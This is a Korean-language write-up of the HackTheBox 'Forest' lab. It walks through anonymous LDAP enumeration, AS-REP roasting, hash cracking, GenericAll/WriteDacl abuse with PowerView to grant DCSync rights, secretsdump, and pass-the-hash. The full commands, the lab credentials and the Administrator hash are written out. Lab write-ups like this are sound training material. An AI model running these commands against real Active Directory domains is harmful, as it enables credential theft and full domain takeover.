as-rep-roasting rpcclient windapsearch DCSync genericAll writeDacl ad-box #windows-box
HTB : https://app.hackthebox.com/machines/Forest?tab=play_machine
IP : 10.129.4.160
Recon
Nmap
nmap -Pn --open -p- -n --max-retries 2 --min-rate 2000 10.129.252.236 -oA recon/tcpAll
스캐닝

열린 포트만 추출

-sV -sC 옵션 사용해 스캐닝 시도. SMB(135, 139, 445), LDAP(389, 3268), DNS(53), Kerberos(88) 포트가 열려있는 것으로 보아 액티브 디렉토리 서버임. 도메인 컨트롤러는 HTB.local.

Forest 머신은 htb.local 도메인의 도메인 컨트롤러임. 해당 도메인을 /etc/hosts에 등록함
echo "10.129.4.160 htb.local" | sudo tee -a /etc/hosts
SMB Null Session 공격을 시도했으나 익명 인증 허용(Anonyumous login successful)은 되어있으나 공유 폴더가 없음

Enum
LDAP
rpcclient
rpcclient 사용해 익명 접근 시도
enumdomusers 옵션은 도메인 내의 모든 사용자 계정과 해당 RID(Relative Identifier)를 리스트 출력함

grep "user:" enum/users_raw.txt | cut -d "[" -f 2 | cut -d "]" -f 1 > users.txt 명령어 실행해 계정명만 파싱함

windapsearch
windapsearch는 LDAP 쿼리를 통해 Active Directory 도메인 열거를 지원함
./windapsearch -d htb.local -u "" -p "" -m custom --filter "(objectClass=*)" 명령어로 LDAP Null Session binding 공격 시도

sed -nE 's/^(dn: CN=|cn: )[[:space:]]*([^,]+).*/\2/p' windap_users.txt | sort -u > final_cn_list.txt 명령어로 CN(Common Name) 속성만 추출

windapsearch 외에 ldapsearch 또는 NetExec(crackmapexec) 툴을 사용해서도 LDAP Null Session Binding 공격이 가능함 LDAP Null Session Binding 또는 LDAP Anonymous Binding 이라 불리는 이 공격은 잘못된 설정으로 인해 익명 접속 (Anonymous Bind) 이 허용되어 있을 때 발생하는 공격임.
공격자가 유효한 계정 정보 없이도 LDAP 서버에 익명으로 접속해 도메인의 모든 사용자 계정을 조회할 수 있음
nxc (Netexec)
NetExec 사용해 LDAP Null Session binding 시도

rpcclient, windapsearch, netexec 3개의 툴 모두 동일한 방식으로 사용자 계정 목록 탈취 가능함

Foothold
AS-REP Roasting
impacket-GetNPUsers
windapsearch 로 추출한 CN 속성 리스트를 기반으로 AS-REP Roasting 공격 시도

rpcclient로 추출한 계정 목록을 사용해서도 AS-REP Roasting 공격이 가능함

hash cracking
svc-alfresco 해시 확보

hashcat
hashcat 과 johnTheRipper 사용해 해시 크래킹 시도
hashcat -m 18200 asrep_hashes.txt ../../../utill/rockyou.txt 실행 결과 s3rvice 패스워드 확보

JohnTheRipper
JohnTheRipper 사용해서도 동일한 패스워드 확보 가능함

svc-alfresco와 s3rvice가 정말 유효한 크리덴셜인지 확인하기 위해 SMB 공유 폴더 접근 확인

Evil-WinRM
포트 스캐닝 했을 때 발견한 WinRM (Windows Remote Management) 포트 (5985)에 획득한 크리덴셜로 원격 접속 및 유저 플래그 획득 성공
evil-winrm -i 10.129.221.111 -u svc-alfresco -p s3rvice

Privilege Escalation
SharpHound
evil-winrm의 업로드 명령어로 SharpHound.exe 업로드

타겟 서버에 설치된 .NET 프레임워크 버전이 샤프하운드가 요구하는 .NET 프레임워크 4.7.2 버전보다 낮아 에러 발생함

일반적으로 윈도우 서버와 PC에 설치된 .NET 프레임워크 버전은 아래와 같음
| Windows 버전 | 기본 .NET 버전 | .NET 4.7.2 포함 여부 |
|---|---|---|
| Windows Server 2019 / 2022 | 4.7.2 / 4.8 | 예 (기본 탑재) ✅ |
| Windows 10 (1803 이상) | 4.7.2 이상 | 예 (기본 탑재) ✅ |
| Windows Server 2016 | 4.6.2 | 아니요 (별도 설치 필요) ❌ |
| Windows Server 2012 / R2 | 4.0 / 4.5.1 | 아니요 (별도 설치 필요) ❌ |
| Windows 7 / 8.1 | 3.5 / 4.5.1 | 아니요 (별도 설치 필요) ❌ |
bloodhound-python
블러드하운드 파이썬으로 데이터 수집 시도, 수집이 끝나면 zip 파일로 추출함
bloodhound-python -u 'svc-alfresco' -p 's3rvice' -d htb.local -ns 10.129.95.210 -c All --zip 실행
| 옵션 | 명칭 | 실제 값 예시 | 핵심 역할 |
|---|---|---|---|
-d | Domain | htb.local | 탐색할 AD 도메인 영역 지정 |
-dc | Domain Controller | htb.local | 데이터를 요청할 서버의 이름 지정 |
-ns | Nameserver | 10.129.95.210 | 도메인 이름을 IP로 바꿔주는 DNS 서버 지정 |
![]() | |||
![]() |
블러드하운드에 zip 파일 업로드

PathFinding 탭에서 획득한 계정 이름 입력, 목적지에 administrator 입력해 최단 경로 확인.
svc-alfresco가 account operators 그룹에 속해있고 이 그룹은 exchange windows permissions 그룹에 GenericAll 권한을 갖고 있음. 그리고 exchange windows permissions 그룹은 htb.local 도메인에 WriteDACL 권한을 가짐.

genericAll, WriteDacl 과 같은 권한을 클릭하면 해당 권한에 대해서 설명해줌

PowerView.ps1
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 https://raw.githubusercontent.com/BC-SECURITY/Empire/refs/heads/main/empire/server/data/module_source/situational_awareness/network/powerview.ps1
칼리 리눅스의 PowerView.ps1 파일을 Evil-WinRM으로 업로드함

genericAll 권한은 그룹에 대한 완전한 제어 권한을 가지면 해당 그룹의 구성원 자격을 직접 수정할 수 있음.
svc-alfresco가 account operators 그룹에 속해있고 이 그룹은 exchange windows permissions 그룹에 GenericAll 권한을 갖고 있기 때문에 exchange windows permissions 그룹의 구성원을 수정할 수 있는 상태임

공격 방법은 2가지가 존재함
- svc-alfresco 계정을 exchange windows permissions 그룹에 추가함
- 새로운 계정을 만들고 이 계정을 exchange windows permissions 그룹에 추가함
svc-alfresco 계정을 exchange windows permissions 그룹 추가
evil-winrm 사용해 Powerview.ps1 업로드

블러드하운드에서 GenericAll DACL 악용 방법을 안내함
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred 공격을 시도하겠음

Add-DomainGroupMember -Identity 'Exchange Windows Permissions' -Members 'svc-alfresco' 시도
svc-alfresco 계정을 Exchange Windows Permissions 그룹에 추가함
Get-DomainGroupMember -Identity 'Exchange windows permissions' 그룹 조회 결과, svc-alfresco 계정이 추가된 것 확인 가능함

Exchange windows permissions 그룹에 svc-alfresco 계정을 추가함.
이제 HTB.LOCAL 도메인 객체에 부여된 WriteDacl 권한을 악용할 수 있음

도메인 개체에 대한 WriteDacl 권한을 남용하려면, svc-alfresco 계정에 DCSync 권한을 부여하면 됨
Add-DomainGroupMember -Identity 'Exchange Windows Permissions' -Members svc-alfresco; $username = "htb\svc-alfresco"; $password = "s3rvice"; $secstr = New-Object -TypeName System.Security.SecureString; $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}; $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr; Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity 'svc-alfresco' -TargetIdentity 'HTB.LOCAL\Domain Admins' -Rights DCSync
또는 계정을 생성해 Exchange Windows Permissions 그룹에 추가한 뒤, 생성한 john 계정에 DCSync 권한을 부여해 덤프 시도도 가능함

impacket-secretsdump htb.local/john:test1234@10.129.95.210 덤프 결과, 관리자 NTLM 해시 확보

관리자 계정 : Administrator NTLM 해시 : aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
root.txt
비밀번호 크래킹 없이 pass the hash (PtH)로 로그인 성공 및 루트 플래그 획득
evil-winrm -i 10.129.95.210 -u Administrator -p aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

아래 명령어로도 가능함
Add-DomainGroupMember -Identity 'Exchange Windows Permissions' -Members 'svc-alfresco'; $SecPassword = ConvertTo-SecureString 's3rvice' -AsPlainText -Force;
$Cred = New-Object System.Management.Automation.PSCredential('htb\svc-alfresco', $SecPassword); Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity "svc-alfresco" -TargetIdentity "htb.local\domain admins" -Rights DCSync
Add-DomainGroupMember -Identity 'Exchange Windows Permissions' -Members 'svc-alfresco'; $SecPassword = ConvertTo-SecureString 's3rvice' -AsPlainText -Force;
$Cred = New-Object System.Management.Automation.PSCredential('htb\svc-alfresco', $SecPassword); Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity "svc-alfresco" -TargetIdentity "DC=htb,DC=local" -Rights DCSync

